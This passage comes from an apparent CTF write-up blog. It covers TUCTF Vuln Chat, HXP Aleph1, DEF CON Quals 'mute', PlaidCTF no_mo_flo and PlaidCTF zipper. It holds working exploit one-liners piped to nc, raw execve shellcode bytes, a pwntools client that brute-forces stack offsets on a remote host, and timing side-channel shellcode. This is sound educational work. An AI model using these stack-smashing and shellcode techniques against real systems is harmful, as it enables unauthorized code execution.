The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second. If we walk through this in gdb using pwndbg we can see the format string being overwritten.<br />
<br />
Breaking at the second scanf with a short string:<br />
<br />
<pre>pwndbg> b *0x08048634
pwndbg> r <<< $(python -c "print 'AAAA'")
► 0x8048634 <main> call __isoc99_scanf@plt <0x8048460>
format: 0xffffd1b3 ◂— '%30s'
vararg: 0xffffd18b ◂— 0x486b208
</0x8048460></main></pre>
<br />
Breaking at the second scanf with a longer string:<br />
<br />
<pre>pwndbg> r <<< $(python -c "print 'A'*24")
► 0x8048634 <main> call __isoc99_scanf@plt <0x8048460>
format: 0xffffd1b3 ◂— 'AAAA'
vararg: 0xffffd18b ◂— 0x486b208
</0x8048460></main></pre>
<br />
<br />
Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.
<br />
<br />
The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.
<br />
<br />
<pre>pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100")
► f 0 41414141
f 1 41414141
f 2 41414141
f 3 41414141
f 4 41414141
f 5 41414141
f 6 41414141
f 7 41414141
f 8 41414141
f 9 41414141
f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)
</pre>
<br />
Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:
<br />
<br />
<pre>pwndbg> i f
Stack level 0, frame at 0xffffd1c0:
eip = 0x8048639 in main; saved eip = 0x41414141
called by frame at 0xffffd1c4
Arglist at 0xffffd1b8, args:
Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
Saved registers:
ebp at 0xffffd1b8, eip at 0xffffd1bc
...
pwndbg> context stack
02:0008│ 0xffffd188 ◂— 0x41049a10
03:000c│ 0xffffd18c ◂— 0x41414141 ('AAAA')
... ↓
1b:006c│ 0xffffd1ec ◂— 0x414141 /* 'AAA' */
1c:0070│ 0xffffd1f0 ◂— 0x0
pwndbg> p/x 0xffffd1bc - 0xffffd18b
$8 = 0x31
</pre>
<br />
We can get the address of printFlag and overwrite saved eip with it.
<br />
<br />
<pre>pwndbg> p printFlag
$9 = {<text debug="" info="" no="" variable="">} 0x804856b <printflag>
</printflag></text></pre>
<br />
The Final Remote Exploit:
<br />
<br />
<pre>$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141
</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUYaOMhY63gg3qf8E_fB8Gl9tppJKpZvqAt0LI2UEE29wYqDiBQ4ptQbJl6PZGtImvXzcmiyPk3e9hkj5MHB_dY2kIFIm-CNzpLCQn6jH2thu1Rqr6UtDtT-z0_5QFaPp5fKZdGkqq14s/s1600/rotary-phones.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1067" data-original-width="1600" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUYaOMhY63gg3qf8E_fB8Gl9tppJKpZvqAt0LI2UEE29wYqDiBQ4ptQbJl6PZGtImvXzcmiyPk3e9hkj5MHB_dY2kIFIm-CNzpLCQn6jH2thu1Rqr6UtDtT-z0_5QFaPp5fKZdGkqq14s/s640/rotary-phones.jpg" width="640" /></a></div>
<br />
<h1 id="vuln-chat-2">Vuln Chat 2.0</h1>
<br />
This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function. If we try a very large buffer we see we get a partial overwrite of EIP.<br />
<br />
<pre>
pwndbg> r <<< $(python -c "print 'A'*9001")
► f 0 8044141
Program received signal SIGSEGV (fault address 0x8044141)
</pre>
<br />
This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:
<br />
<br />
<pre>
pwndbg> p printFlag
$1 = {<text variable, no debug info>} 0x8048672 <printFlag>
pwndbg> r <<< $(python -c "print '\x86\x72'*9001")
Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001")
----------- Welcome to vuln-chat2.0 -------------
Enter your username: Welcome �r�r�r�r�r�r�r�!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
�r�r�r�r�r�r�r�: djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
[New process 17594]
process 17594 is executing new program: /bin/dash
[New process 17595]
process 17595 is executing new program: /bin/cat
/bin/cat: ./flag.txt: No such file or directory
[Inferior 3 (process 17595) exited with code 01]
Don't let anyone get ahold of this
</pre>
<br />
The Final Remote Exploit:
<br />
<br />
<pre>$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242
</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-18282332589638087382017-11-19T12:19:00.001-08:002017-11-19T12:19:03.932-08:00HXP 2017 - Aleph1<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
This was a baby's first pwnable challenge inspired by the legendary post <a href="http://phrack.org/issues/49/14.html">Smashing The Stack for Fun and Profit</a> published by <a href="https://twitter.com/aleph_one">aleph1</a>.
<br />
<br class="Apple-interchange-newline" />In this challenge we get a 64 bit binary and some source! It's rare to get source in CTF's, this was very generous:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcUmJzL9gSFNfXnqhxz3qeb1OhWgAryYCoAa1balgZ3zDjJNZYcjGDAVXhKscG2o5qDJ28vojXV1RSDrO39gGCz2WHrzrVroAwgYcxYGwxSDrF8USAHaL541B_m7fqBVJSd9Yna4KBJF4/s1600/inspect-binary.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="457" data-original-width="385" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcUmJzL9gSFNfXnqhxz3qeb1OhWgAryYCoAa1balgZ3zDjJNZYcjGDAVXhKscG2o5qDJ28vojXV1RSDrO39gGCz2WHrzrVroAwgYcxYGwxSDrF8USAHaL541B_m7fqBVJSd9Yna4KBJF4/s400/inspect-binary.png" width="336" /></a></div>
<br />
<pre>#include <stdio .h="">
int main()
{
char yolo[0x400];
fgets(yolo, 0x539, stdin);
}
</stdio></pre>
<br />
Looks simple enough, a very basic stack overflow on an elf64 binary with no mitigations.
<br />
Let's try going through the first crash:<br />
<br />
<pre>
$ ulimit -c unlimited
$ python -c 'print "A"*0x400 + "B"*16' | ./vuln
[1] 16507 done python -c 'print "A"*0x400 + "B"*16' |
16508 segmentation fault (core dumped) ./vuln
$ gdb vuln core
...
► 0x4005f6 <main+44> ret <0x4242424242424242>
...
</pre>
<br />
Great! We have an RIP overwrite, now we just need to point to a reliable location on the stack where we have shellcode.
<br />
<br />
We could put a giant NOPSled leading up to this location since we have ~0x400 bytes to work with.
<br />
<br />
If we look again in GDB for the saved RIP value before the crash, we can decide which stack address to use, something towards the middle of the buffer will work (0x400/2).
<br />
<br />
<pre>
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004005ca <+0>: push rbp
0x00000000004005cb <+1>: mov rbp,rsp
0x00000000004005ce <+4>: sub rsp,0x400
0x00000000004005d5 <+11>: mov rdx,QWORD PTR [rip+0x200a54] # 0x601030 <stdin@@GLIBC_2.2.5>
0x00000000004005dc <+18>: lea rax,[rbp-0x400]
0x00000000004005e3 <+25>: mov esi,0x539
0x00000000004005e8 <+30>: mov rdi,rax
0x00000000004005eb <+33>: call 0x4004d0 <fgets@plt>
0x00000000004005f0 <+38>: mov eax,0x0
0x00000000004005f5 <+43>: leave
0x00000000004005f6 <+44>: ret
End of assembler dump.
pwndbg> b *0x00000000004005f5
Breakpoint 1 at 0x4005f5: file vuln.c, line 7.
pwndbg> r <<< $(python -c 'from pwn import *; print "\x90"*0x400 + "BBBBBBBB" + "AAAAAAAA"')
pwndbg> i f
Stack level 0, frame at 0x7fffffffdfe0:
rip = 0x4005f5 in main (vuln.c:7); saved rip = 0x4141414141414141
called by frame at 0x7fffffffdfe8
source language c.
Arglist at 0x7fffffffdfd0, args:
Locals at 0x7fffffffdfd0, Previous frame's sp is 0x7fffffffdfe0
Saved registers:
rbp at 0x7fffffffdfd0, rip at 0x7fffffffdfd8
pwndbg> x/gx 0x7fffffffdfd8
0x7fffffffdfd8: 0x4141414141414141
pwndbg> x/gx 0x7fffffffdfd0
0x7fffffffdfd0: 0x4242424242424242
pwndbg> p/x 0x7fffffffdfd8 - (0x400/2)
$1 = 0x7fffffffddd8
</pre>
<br />
Now we have the stack address we're going to target when setting saved RIP: <b>0x7fffffffddd8</b>.
<br />
<br />
For x86-64 shellcode, there's a nice minimal one from our teammate <a href="https://twitter.com/matir">@matir</a> here - <a href="https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/">https://systemoverlord.com/2014/06/05/minimal-x86-64-shellcode-for-binsh/</a>
<br />
<br />
Putting this all together, we get a long one-line exploit which looks like this:
<br />
<br />
<pre>
(python -c 'from pwn import *; print "\x90" * 0x3E7 + "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05" + "SAVEDRBP" + p64(0x7fffffffddd8)'; cat) | ./vuln
</pre>
<br />
<br />
At this point all we have to do is point to the remote and see if it works!
<br />
Unfortunately it does not. It must be the stack offset we used which is different than the server. This is a good time to throw this in a client and start tweaking it for the remote.
<br />
<br />
<pre>
#!/usr/bin/env python
import sys, time
from pwn import *
r = remote('35.205.206.137', 1996)
OFFSET = 100
REMOTE = len(sys.argv) > 1
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
def main():
saved_eip = p64(STACK_ADDR + OFFSET)
r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
r.sendline("cat flag.txt")
print r.recv(2000)
if __name__ == "__main__":
main()
</pre>
<br />
<br />
Changing the offset manually a few times didn't end up being very useful. Time to automate this!
<br />
<br />
<br />
<pre>
for x in xrange(0, 0xffff, 0x7f):
try:
saved_eip = p64(STACK_ADDR + x)
r.sendline("\x90" * 0x3E7 + SC + 'SAVEDRBP' + saved_eip)
r.sendline("whoami")
print r.recv(2000)
print 'FOUND! => {}'.format(hex(STACK_ADDR + x))
except:
pass
time.sleep(0.4)
</pre>
<br />
After a few cycles this quickly showed the <b>ctf</b> user on the remote. It turned out to be +3000 from our local address.
<br />
<br />
Running an ls on the remote showed a flag.txt, so we just cat that file.
<br />
<br />
<br />
The final client looks like this:
<br />
<br />
<script src="https://gist.github.com/vitapluvia/d2d1bef5b96a6c729fe4c59c462a3524.js"></script>
<br />
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-6163613638384772132017-05-01T18:30:00.002-07:002017-05-01T18:40:48.336-07:00DEF CON CTF Quals 2017 - mute<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMi-5A7M_ZeRy29h6ldW2JCYJ-npWWkP52ZFitVT7g6bdRh3Ol9Cmnz-IUC7IP8txc9TT3UUhY0gWnu92eI8e95azCULlewDSoKCilmtqDpTRNJBER0zRzHo0MnZGMjRAQFGkK64mUSl0/s1600/FreM3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMi-5A7M_ZeRy29h6ldW2JCYJ-npWWkP52ZFitVT7g6bdRh3Ol9Cmnz-IUC7IP8txc9TT3UUhY0gWnu92eI8e95azCULlewDSoKCilmtqDpTRNJBER0zRzHo0MnZGMjRAQFGkK64mUSl0/s640/FreM3.jpg" width="640" /></a></div>
<br />
<br />
This was a very fun challenge by <a href="https://twitter.com/gyno_lbs">@Gynophage</a>! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.<br />
<br />
If we look at the binary in <a href="https://binary.ninja/">Binary Ninja</a> we can see the seccomp rules being setup:
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXT6_SHMDg_7TglvvmWMqFQPdKeD_jthuoNNCn279uf7bbEVqC5ooFMzULOSuZNvfhd5UEl_fjMyum74Uj-BUBdQ7etCCVDInSWjA4Iv-UTqYnagTEE9V3FmtoBqAp7WifMvgOpwL51Q/s1600/seccomp-rules.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHXT6_SHMDg_7TglvvmWMqFQPdKeD_jthuoNNCn279uf7bbEVqC5ooFMzULOSuZNvfhd5UEl_fjMyum74Uj-BUBdQ7etCCVDInSWjA4Iv-UTqYnagTEE9V3FmtoBqAp7WifMvgOpwL51Q/s1600/seccomp-rules.png" /></a></div>
<br />
Each value being passed to the addRule function is a syscall number which is allowed.<br />
<br />
If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to <a href="http://lxr.free-electrons.com/source/include/uapi/linux/seccomp.h#L32">allow</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWhj41oi3cQ6PO0d0nBRpGczYAIS2qNVGKFpjjV0cFbQsC29FHb1Oy1H8C8ig_3xeh6RxWaLSReONc6XwU67GmQaEEnF6UcfQ-1f4LH6UjJz7XRzcsy4hekvBlSKpx7J486WW2DPa4eoc/s1600/addRule.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWhj41oi3cQ6PO0d0nBRpGczYAIS2qNVGKFpjjV0cFbQsC29FHb1Oy1H8C8ig_3xeh6RxWaLSReONc6XwU67GmQaEEnF6UcfQ-1f4LH6UjJz7XRzcsy4hekvBlSKpx7J486WW2DPa4eoc/s1600/addRule.png" /></a></div>
<br />
<br />
Enumerating all the possible syscalls we can use for our shellcode, we get this list:<br />
<br />
<br />
<pre>sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve
</pre>
<br />
Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write. Now we can understand why this challenge is called 'mute'.<br />
<br />
This challenge instantly reminded me of <a href="http://www.scs.stanford.edu/brop/">BROP</a>, but less involved. We'll have to extract data from the remote server somehow. Similar to <a href="http://www.scs.stanford.edu/brop/bittau-brop.pdf">BROP</a> & <a href="https://www.owasp.org/index.php/Blind_SQL_Injection">Blind SQLi</a>, we could use a timing side-channel attack to extract the flag.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6PsJ5Av5c6EGzZJVpqnUo3_G8-xTpaJWoOvvcjaulitiK5L2ePU0kGEiuleHTxH7MRoUb2Vogpy3-eGbt_gmw24jDlSy1Y9NSWMszqwc_PivJzoA60IXCnGSC7DDs3Z2iTFLWvW0WS04/s1600/t-x-m3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6PsJ5Av5c6EGzZJVpqnUo3_G8-xTpaJWoOvvcjaulitiK5L2ePU0kGEiuleHTxH7MRoUb2Vogpy3-eGbt_gmw24jDlSy1Y9NSWMszqwc_PivJzoA60IXCnGSC7DDs3Z2iTFLWvW0WS04/s640/t-x-m3.jpg" width="640" /></a></div>
<br />
First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to <a href="https://systemoverlord.com/">@matir</a> who discovered this from previous challenges such as <a href="https://systemoverlord.com/2017/04/30/def-con-quals-2017-beatmeonthedl.html">beatmeonthedl</a>.<br />
<br />
<pre>; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi
; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall
</pre>
<br />
So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.
<br />
<br />
Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.
<br />
<br />
Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed.
However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.
<br /><br />
Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:
<br />
<br />
<pre>
; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done
L2:
nop
jmp L2
done:
nop
</pre>
<br />
Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.
<br />
<br />
Here is the full <a href="https://gist.github.com/vitapluvia/a7944cff07a051743fa4c81e218b3e02">client</a>:
<br />
<br />
<script src="https://gist.github.com/vitapluvia/a7944cff07a051743fa4c81e218b3e02.js"></script>
<br />
<br />
You can also find all the challenge files here - <a href="https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn">https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn</a>
<br />
<br />
Ended up using <a href="http://radare.today/posts/playing-with-rasm2/">rasm2</a> as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install <a href="https://github.com/radare/radare2/wiki/Rasm2">rasm2</a>, just install <a href="https://radare.org/r/">radare2</a> and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.
<br />
<br />
Now when we run the client, we get:
<br />
<br />
<pre>
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________
Done!
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
</Pre>
<br /><br />
</div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-25883729423676653392017-04-24T18:43:00.001-07:002017-04-24T18:43:24.352-07:00PlaidCTF 2017 - no_mo_flo (125)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<div class="example">
On this challenge, we're given a binary to reverse called 'no_flo'. Based on your input you get one of two results:<br />
<br />
<pre># Failure:
You aint goin with the flow....
# Success:
Good flow!!
</pre>
<br />
When you get the flag it will print 'Good flow!!' otherwise it will print the failure case.
<br />
<br />
The only reversing done on this was jumping into Binary Ninja for a few minutes and continuing after identifying the type of challenge. The most important part was to find the length of the input required (0x20 or 32 bytes):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4TpMpJYF-UIam-agY8w2XOPXWlFC86O-u97HQanjil6poUj3wR8UdvJJjZ-aVULSvNBCCqOikNBBGnJYPexgaMpCMiCMjgCX1vIUFFyU9UxKBFPZ7N71Wm-Al9F0OT67JClotGZrJkso/s1600/no_flo_len.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4TpMpJYF-UIam-agY8w2XOPXWlFC86O-u97HQanjil6poUj3wR8UdvJJjZ-aVULSvNBCCqOikNBBGnJYPexgaMpCMiCMjgCX1vIUFFyU9UxKBFPZ7N71Wm-Al9F0OT67JClotGZrJkso/s640/no_flo_len.png" width="640" /></a></div>
<br />
<br />
There's a perfect tool for this job that I've been meaning to use for a while now. This tool was: <a href="https://github.com/wagiro/pintool">https://github.com/wagiro/pintool</a>. This is ideal if your challenge binary has a success / failure path and there's one target key to obtain.<br />
<br />
There's an excellent article on how to use and automate Pin over on ShellStorm - <a href="http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/">http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/</a>
<br />
<br />
Also used CGPwn for this CTF which has been very useful, packed with things like angr, Pin, r2, pwntools, etc. (too many good things to name) - <a href="https://github.com/0xM3R/cgPwn">https://github.com/0xM3R/cgPwn</a>
<br />
<br />
If this is your first time using Pin, you'll have to compile the required shared object files and include them at the top of pintool.
<br />
<br />
After everything's all setup, we can start cracking!
<br />
<br />
Running the help on pintool, we can see the available options:
<br />
<br />
<pre>usage: pintool.py [-h] [-e] [-l LEN] [-c NUMBER] [-b CHARACTER] [-a ARCH]
[-i INITPASS] [-s SIMBOL] [-d EXPRESSION]
Filename
positional arguments:
Filename Program for playing with Pin Tool
optional arguments:
-h, --help show this help message and exit
-e Study the password length, for example -e -l 40, with 40
characters
-l LEN Length of password (Default: 10 )
-c NUMBER Charset definition for brute force (1-Lowercase, 2-Uppecase,
3-Numbers, 4-Hexadecimal, 5-Punctuation, 6-All)
-b CHARACTER Add characters for the charset, example -b _-
-a ARCH Program architecture 32 or 64 bits, -b 32 or -b 64
-i INITPASS Inicial password characters, example -i CTF{
-s SIMBOL Simbol for complete all password (Default: _ )
-d EXPRESSION Difference between instructions that are successful or not
(Default: != 0, example -d '== -12', -d '=> 900', -d '<= 17'
or -d '!= 32')
</pre>
<br />
Here's a simple command to start with for this binary:
<br />
<br />
<pre>$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{' -d '<= -1' ./no_flo
</pre>
<br />
We will start to get output that looks like this:
<br />
<br />
<pre>....
PCTF{nX_________________________ = 98025 difference 0 instructions
PCTF{nY_________________________ = 98025 difference 0 instructions
PCTF{nZ_________________________ = 98025 difference 0 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference -3 instructions
PCTF{n0_________________________ = 98022 difference 0 instructions
PCTF{n0!________________________ = 98083 difference 61 instructions
PCTF{n0"________________________ = 98083 difference 61 instructions
PCTF{n0#________________________ = 98083 difference 61 instructions
....
</pre>
<br />
<br />
After a while this will start to fail, I haven't figured out exactly why yet (maybe someone can answer this in the comments) -- but underscores seem to be an issue. This has happened on a couple binaries so far.
<br />
<br />
After we have reached the end of the first word, we can adjust the 'INITPASS' attribute to include an underscore, next example command will look like this:
<br />
<br />
<pre>$ python ~/tools/pintool/pintool.py -l 32 -c 5,2,3,1 -a 64 -i 'PCTF{n0_' -d '<= -1' ./no_flo
</pre>
<br />
We continue this way until we've reached the end, and we get the flag!
<br />
<br />
<pre>PCTF{n0_fl0?_m0_like_ah_h3ll_n0}
</pre>
<br /></div>
.http://www.blogger.com/profile/13520115893687744185noreply@blogger.comtag:blogger.com,1999:blog-6516746340813689887.post-21456784979037308752017-04-24T15:58:00.000-07:002017-04-24T15:58:41.217-07:00PlaidCTF 2017 - zipper (50)<style>
.example pre {font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #FFF; background-color: #000;font-size: 14px;border: 1px dashed #999999;line-height: 20px; padding: 18px; margin: 0 0 0 -19px; overflow: auto; width: 100%}
</style>
<br />
<div class="example">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://github.com/corkami/pics/blob/master/binary/zip101/zip101.pdf"><img border="0" height="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-Dylfe-QK_hiS747RYo_1e3257_2brBarBsElcJBfEowNVflHpGatNiwnzNP3T05IIdCoHn53Q9rAyvg1NGc9pMSE8pzpzyhz6UpStrRHPPL6uXJ2yIgzoL6pDSl-4nkWv7cxJtb91bA/s640/ZIP101.png" width="640" /></a></div>
<br />
In this challenge we're given a corrupted zip we must repair.
<br />
<br />
Description:
<br />
<br />
<pre>Something doesn't seem quite right with this zip file.
Can you fix it and get the flag?
</pre>
<br />
We can see the corruption by attempting to unzip the file:
<br />
<br />
<pre>$ unzip zipper.zip
Archive: zipper.zip
warning: filename too long--truncating.
[ ]
: bad extra field length (central)
</pre>
<br />
To inspect this further we can use zipdetails:
<br />
<br />
<pre>$ zipdetails zipper.zip
0000 LOCAL HEADER #1 04034B50
0004 Extract Zip Spec 14 '2.0'
0005 Extract OS 00 'MS-DOS'
0006 General Purpose Flag 0002
[Bits 1-2] 2 'Fast Compression'
0008 Compression Method 0008 'Deflated'
000A Last Mod Time 4A9299FC 'Tue Apr 18 19:15:56 2017'
000E CRC 532EA93E
0012 Compressed Length 00000046
0016 Uncompressed Length 000000F6
001A Filename Length 2329
001C Extra Length 001C
Truncated file (got 206, wanted 9001):
</pre>
<br />
This reflects a similar message showing the "Filename Length" is very large and there's some truncation because of the calculated size. The "wanted" value of 9001 equals the same value seen in "Filename Length" in hex 0x2329.
<br />
<br />
Next let's create a normal zip file to compare the binary structure.
<br />
<br />
<pre>$ echo '1234' > abc && zip abc.zip abc
adding: abc (stored 0%)
$ xxd abc.zip
00000000: 504b 0304 0a00 0000 0000 ad79 984a 2117 PK.........y.J!.
00000010: 937d 0500 0000 0500 0000 0300 1c00 6162 .}............ab
00000020: 6355 5409 0003 8678 fe58 8078 fe58 7578 cUT....x.X.x.Xux
00000030: 0b00 0104 f501 0000 0414 0000 0031 3233 .............123
00000040: 340a 504b 0102 1e03 0a00 0000 0000 ad79 4.PK...........y
00000050: 984a 2117 937d 0500 0000 0500 0000 0300 .J!..}..........
00000060: 1800 0000 0000 0100 0000 a481 0000 0000 ................
00000070: 6162 6355 5405 0003 8678 fe58 7578 0b00 abcUT....x.Xux..
00000080: 0104 f501 0000 0414 0000 0050 4b05 0600 ...........PK...
00000090: 0000 0001 0001 0049 0000 0042 0000 0000 .......I...B....
000000a0: 00 .
$ xxd zipper.zip
00000000: 504b 0304 1400 0200 0800 fc99 924a 3ea9 PK...........J>.
00000010: 2e53 4600 0000 f600 0000 2923 1c00 0000 .SF.......)#....
00000020: 0000 0000 0000 5554 0900 035b c8f6 585b ......UT...[..X[
00000030: c8f6 5875 780b 0001 04e8 0300 0004 e803 ..Xux...........
00000040: 0000 5350 2004 b814 082b f128 adaa 4acc ..SP ....+.(..J.
00000050: d051 a8cc 2f55 c848 2c4b 5548 4e2c 2829 .Q../U.H,KUHN,()
00000060: 2d4a 4d51 28c9 4855 48cb 494c b7e2 0a70 -JMQ(.HUH.IL...p
00000070: 0e71 ab4e 3328 4acd 2b36 4c2e 8eaf 4cac .q.N3(J.+6L...L.
00000080: ac25 c326 ea28 0100 504b 0102 1e03 1400 .%.&.(..PK......
00000090: 0200 0800 fc99 924a 3ea9 2e53 4600 0000 .......J>..SF...
000000a0: f600 0000 2923 1800 0000 0000 0100 0000 ....)#..........
000000b0: b481 0000 0000 0000 0000 0000 0000 5554 ..............UT
000000c0: 0500 035b c8f6 5875 780b 0001 04e8 0300 ...[..Xux.......
000000d0: 0004 e803 0000 504b 0506 0000 0000 0100 ......PK........
000000e0: 0100 4e00 0000 8800 0000 0000 ..N.........
</pre>
<br />
First we can see the name show up twice within the first hex dump of abc.zip.
<br />
We may be interested to find the same part in zipper.zip since the first corruption seems to be a filename issue.
<br />
<br />
Highlighting the header / footer patterns found within the dumps above, we can see zipper.zip most likely has an 8 byte filename:<br />
<br />
<pre>
# first chunk:
abc.zip : (1c00) 6162 63(55 54..)
zipper.zip : (1c00) 0000 0000 0000 0000 (5554 09)
# second chunk:
abc.zip : (0000 0000) 6162 63(55 54..)
zipper.zip : (0000 0000) 0000 0000 0000 0000 (5554)
</pre>
<br />
If we patch both size values to 8 and set the name to something valid, we should have something a little better.
<br /><br />
So we edit the values accordingly:
<br />
<br />
<pre>
Size_1: 29 23 => 08 00
Size_2: 29 23 => 08 00
Name_1: (1C 00) 00 00 00 00 00 00 00 00 (55 54) => (1C 00) 41 41 41 41 42 42 42 42 (55 54)
Name_2: (00 00 00 00) 00 00 00 00 00 00 00 00 55 54 => (00 00 00 00) 41 41 41 41 42 42 42 42 (55 54)
</pre>
<br />
Now if we look at this again using 7z we can see the file!
<br />
<br />
<pre>
$ 7z l zipper.zip
Scanning the drive for archives:
1 file, 236 bytes (1 KiB)
Listing archive: zipper.zip
--
Path = zipper.zip
Type = zip
Physical Size = 236
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2017-04-18 19:15:55 ..... 246 70 AAAABBBB
------------------- ----- ------------ ------------ ------------------------
